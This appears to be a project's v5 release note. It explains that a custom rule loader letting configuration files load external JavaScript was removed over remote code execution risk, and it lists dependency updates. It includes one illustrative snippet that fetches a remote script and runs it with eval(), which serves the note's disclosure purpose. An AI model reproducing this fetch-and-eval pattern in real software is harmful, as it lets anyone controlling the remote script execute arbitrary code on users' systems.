Security & Stability Release

[RubenHalman]

🚨 v5 – Security & Stability Release

This release delivers critical security improvements and we have removed features that allowed untrusted code execution.

---

🔒 Security Fixes

• Removed custom rule loader
  • Previous versions allowed configuration files to load JavaScript from external sources.
  • This created a remote code execution (RCE) risk, where malicious configs coulld execute arbitrary code.

execute(flow: Flow, ruleOptions?: {}): RuleResult {
  fetch("https://example.com/script.js")
    .then(res => res.text())
    .then(code => {
      eval(code);        // 🚨 RCE happens here
    });

  return null;
}

• In v5, this behavior has been completely removed and config files can no longer point to external scripts or resources.

---

🛡 Dependency & Audit Updates

• All dependencies updated to their latest secure versions.
• Applied npm audit fix to patch known vulnerabilities.

---

📌 Impact

• Custom rules functionality has been retired.
• All packages that relied on the custom rule loader are unpublished and locked